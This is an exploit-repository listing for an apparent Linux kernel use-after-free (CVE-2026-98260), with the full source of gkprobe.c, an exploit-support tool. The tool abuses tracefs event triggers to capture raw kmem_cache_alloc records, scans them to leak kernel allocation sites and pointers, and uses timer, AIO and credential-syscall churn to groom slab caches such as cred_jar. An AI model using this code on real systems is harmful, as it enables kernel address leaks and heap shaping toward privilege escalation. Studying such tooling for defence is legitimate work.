Exploit databaseDownload repository ZIP
GH-300ffa121d06cb7357be8fb011e8d8b3
nanoturtle1145/cve-2026-98260-uaf
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files45
nanoturtle1145/cve-2026-98260-uafRevision cb03af3ff043
- ↑..Parent directory
- esc/
- modules/
- PERFPROBE-RESULT-2026-10-31.md
- adb43499_tuned.sh
- aiospray.c
- analyze_page_fate.py
- analyze_page_identity.py
- analyze_page_identity2.py
- analyze_page_live.py
- analyze_pfn_identity.py
- analyze_trace.py
- churn
- churn.c
- churn2
- churn2.c
- collect_offsets.sh
- dump_btf.sh
- dump_trace.sh
- evtest
- evtest.c
- filt_p10.sh
- gkprobe
- gkprobe.c
- mallprobe.c
- night_iter.sh
- observe_98260.sh
- observe_oracle_off.sh
- observe_oracle_on.sh
- p10_cycle.sh
- p10_prep.sh
- perfprobe.c
- reclaim_test
- reclaim_test.c
- reclaim_test2
- reclaim_test2.c
- safety2.sh
- setup_p1.sh
- setup_p10.sh
- setup_p2.sh
- setup_p3.sh
- setup_p4.sh
- setup_p5.sh
- setup_p6.sh
- setup_p7.sh
- setup_verify.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/gkprobe.c
C · 8,406 bytes// gkprobe:GhostKey 式 tracefs raw 观测(S9280 验证工具)
// 用法: gkprobe discover <action> action: timers|cred|fork|mm|all
// gkprobe sizes <bytes_req>
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sched.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <linux/capability.h>
#define TRACE "/sys/kernel/tracing"
static void *g_raw;
static int write_file(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
ssize_t n;
if (fd < 0) return -1;
n = write(fd, text, strlen(text));
close(fd);
return n == (ssize_t)strlen(text) ? 0 : -1;
}
static int read_all(const char *path, void *buf, size_t cap)
{
int fd = open(path, O_RDONLY | O_CLOEXEC);
ssize_t n;
if (fd < 0) return -1;
n = read(fd, buf, cap);
close(fd);
return (int)n;
}
static void kick_rss(void)
{
unsigned char *p = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
write_file(TRACE "/events/kmem/rss_stat/enable", "1\n");
if (p != MAP_FAILED) { ((volatile unsigned char *)p)[0] = 1; munmap(p, 4096); }
write_file(TRACE "/events/kmem/rss_stat/enable", "0\n");
}
static int set_event(const char *ev, int on)
{
char path[256];
snprintf(path, sizeof path, TRACE "/events/%s/enable", ev);
return write_file(path, on ? "1\n" : "0\n");
}
static int arm_event(const char *ev)
{
char cmd[256];
if (!set_event(ev, 1)) return 0;
snprintf(cmd, sizeof cmd, "enable_event:kmem:%s\n", ev);
if (!write_file(TRACE "/events/kmem/rss_stat/trigger", cmd)) { kick_rss(); return 0; }
return -1;
}
static int cpu_count(void)
{
char buf[64]; int n = 0;
if (read_all("/sys/devices/system/cpu/present", buf, sizeof buf - 1) <= 0) return 8;
buf[63] = 0;
for (char *p = buf; *p; ) {
int v = 0;
if (*p < '0' || *p > '9') { p++; continue; }
while (*p >= '0' && *p <= '9') v = v * 10 + (*p++ - '0');
if (v + 1 > n) n = v + 1;
}
return n < 1 ? 8 : (n > 16 ? 16 : n);
}
struct pair { unsigned long long req, alloc, site; int count; };
static struct pair g_pf[1024];
static int g_npf;
static void pair_add(unsigned long long req, unsigned long long alloc, unsigned long long site)
{
for (int i = 0; i < g_npf; i++)
if (g_pf[i].req == req && g_pf[i].alloc == alloc && g_pf[i].site == site) { g_pf[i].count++; return; }
if (g_npf < 1024) { g_pf[g_npf].req = req; g_pf[g_npf].alloc = alloc; g_pf[g_npf].site = site; g_pf[g_npf].count = 1; g_npf++; }
}
static int cmp_pair(const void *a, const void *b)
{
const struct pair *x = a, *y = b;
if (y->count != x->count) return y->count - x->count;
return (x->req > y->req) - (x->req < y->req);
}
/* 扫描 raw:找 req(k)、alloc(k+8)、site(k-16)、ptr(k-8) */
static void scan_raw(const unsigned char *d, size_t n, unsigned long long want,
int discover, unsigned long long *sites, int *nsites, int cap)
{
for (size_t k = 16; k + 24 <= n; k++) {
unsigned long long req, alloc, site, ptr;
memcpy(&req, d + k, 8);
memcpy(&alloc, d + k + 8, 8);
if (req < 32 || req > 131072) continue;
if (alloc < req || alloc > 262144) continue;
memcpy(&site, d + k - 16, 8);
memcpy(&ptr, d + k - 8, 8);
if ((site >> 56) != 0xff) continue;
if ((ptr >> 48) != 0xffff || (ptr & 7)) continue;
if (discover) {
pair_add(req, alloc, site);
} else if (req == want && *nsites < cap) {
sites[(*nsites)++] = site;
}
}
}
static size_t read_cpu_raw(int cpu, size_t cap)
{
char path[128]; int fd; size_t used = 0;
snprintf(path, sizeof path, TRACE "/per_cpu/cpu%d/trace_pipe_raw", cpu);
fd = open(path, O_RDONLY | O_NONBLOCK | O_CLOEXEC);
if (fd < 0) return 0;
for (;;) {
ssize_t n = read(fd, (char *)g_raw + used, cap - used);
if (n <= 0) break;
used += (size_t)n;
if (used + 65536 >= cap) break;
}
close(fd);
return used;
}
static void act_timers(void)
{
struct sigevent ev; timer_t ids[2048]; int made = 0;
memset(&ev, 0, sizeof ev); ev.sigev_notify = SIGEV_NONE;
for (int i = 0; i < 2048; i++) if (timer_create(CLOCK_THREAD_CPUTIME_ID, &ev, &ids[i])) break; else made++;
printf("[gk] timers made=%d\n", made);
for (int i = 0; i < made; i++) timer_delete(ids[i]);
}
static void act_cred(void)
{
uid_t u = getuid(); gid_t g = getgid();
struct __user_cap_header_struct hdr = { _LINUX_CAPABILITY_VERSION_3, 0 };
struct __user_cap_data_struct data[2] = { {0} };
syscall(SYS_setresuid, u, u, u);
syscall(SYS_setresgid, g, g, g);
/* capset:内核必然 prepare_creds() -> cred_jar 分配 */
syscall(SYS_capset, &hdr, data);
/* prctl(PR_SET_KEEPCAPS, 0):同样走 prepare_creds */
syscall(SYS_prctl, 8 /*PR_SET_KEEPCAPS*/, 0, 0, 0, 0);
/* setgroups(0,NULL) 可能 EPERM,但会先 prepare_creds */
syscall(SYS_setgroups, 0, NULL);
}
static void act_fork(void)
{
pid_t p = fork();
if (p == 0) _exit(0);
if (p > 0) waitpid(p, NULL, 0);
}
static void act_mm(void)
{
void *m = mmap(NULL, 1 << 20, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (m != MAP_FAILED) { ((volatile char *)m)[0] = 1; munmap(m, 1 << 20); }
}
int main(int argc, char **argv)
{
int discover = (argc > 1 && !strcmp(argv[1], "discover"));
const char *action = (argc > 2) ? argv[2] : "all";
unsigned long long want = (argc > 2 && !discover) ? strtoull(argv[2], NULL, 0) : 264;
int ncpu = cpu_count(), nsites = 0, i;
unsigned long long *sites;
g_raw = malloc(8UL << 20);
sites = calloc(8192, sizeof(*sites));
if (!g_raw || !sites) { fprintf(stderr, "oom\n"); return 1; }
setvbuf(stdout, NULL, _IOLBF, 0);
if (argc > 1 && !strcmp(argv[1], "churn")) {
struct sigevent ev2; timer_t ids2[4096]; int made2 = 0;
memset(&ev2, 0, sizeof ev2); ev2.sigev_notify = SIGEV_NONE;
for (int i = 0; i < 4096; i++) if (timer_create(CLOCK_THREAD_CPUTIME_ID, &ev2, &ids2[i])) break; else made2++;
printf("[churn] made=%d\n", made2);
for (int i = 0; i < made2; i++) timer_delete(ids2[i]);
printf("[churn] deleted=%d\n", made2);
return 0;
}
if (argc > 1 && !strcmp(argv[1], "aiodrain")) {
unsigned long *ctx = calloc(4096, sizeof(*ctx)); int n = 0;
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); sched_setaffinity(0, sizeof set, &set);
for (int i = 0; i < 4096; i++) { unsigned long c = 0;
if (syscall(SYS_io_setup, 1, &c)) break; ctx[n++] = c; }
printf("[aiodrain] rings=%d\n", n);
for (int i = 0; i < n; i++) syscall(SYS_io_destroy, ctx[i]);
printf("[aiodrain] destroyed=%d\n", n);
return 0;
}
printf("[gk] discover=%d action=%s cpus=%d\n", discover, action, ncpu);
if (!strcmp(action, "churn")) {
/* 只做 timer churn,完全不碰 tracefs(供外部已开事件时使用) */
struct sigevent ev2; timer_t ids2[4096]; int made2 = 0;
memset(&ev2, 0, sizeof ev2); ev2.sigev_notify = SIGEV_NONE;
for (int i = 0; i < 4096; i++) if (timer_create(CLOCK_THREAD_CPUTIME_ID, &ev2, &ids2[i])) break; else made2++;
printf("[churn] made=%d\n", made2);
for (int i = 0; i < made2; i++) timer_delete(ids2[i]);
printf("[churn] deleted=%d\n", made2);
return 0;
}
write_file(TRACE "/tracing_on", "0\n");
write_file(TRACE "/trace", "");
write_file(TRACE "/buffer_size_kb", "16384\n");
write_file(TRACE "/events/kmem/rss_stat/trigger", "!enable_event:kmem:kmem_cache_alloc\n");
set_event("kmem/kmem_cache_alloc", 0);
if (arm_event("kmem_cache_alloc")) { perror("arm"); return 2; }
write_file(TRACE "/tracing_on", "1\n");
if (!strcmp(action, "all") || !strcmp(action, "timers")) act_timers();
if (!strcmp(action, "all") || !strcmp(action, "cred")) act_cred();
if (!strcmp(action, "all") || !strcmp(action, "fork")) act_fork();
if (!strcmp(action, "all") || !strcmp(action, "mm")) act_mm();
write_file(TRACE "/tracing_on", "0\n");
for (int cpu = 0; cpu < ncpu; cpu++) {
size_t used = read_cpu_raw(cpu, 8UL << 20);
if (!used) continue;
scan_raw(g_raw, used, want, discover, sites, &nsites, 8192);
}
set_event("kmem/kmem_cache_alloc", 0);
if (discover) {
qsort(g_pf, g_npf, sizeof(g_pf[0]), cmp_pair);
printf("[gk] discover top:\n");
for (i = 0; i < g_npf && i < 30; i++)
printf(" req=%-6llu alloc=%-6llu site=%#llx count=%d\n",
g_pf[i].req, g_pf[i].alloc, g_pf[i].site, g_pf[i].count);
} else {
printf("[gk] sites for req=%llu: %d\n", want, nsites);
for (i = 0; i < nsites && i < 5; i++)
printf(" site[%d]=%#llx\n", i, sites[i]);
}
return 0;
}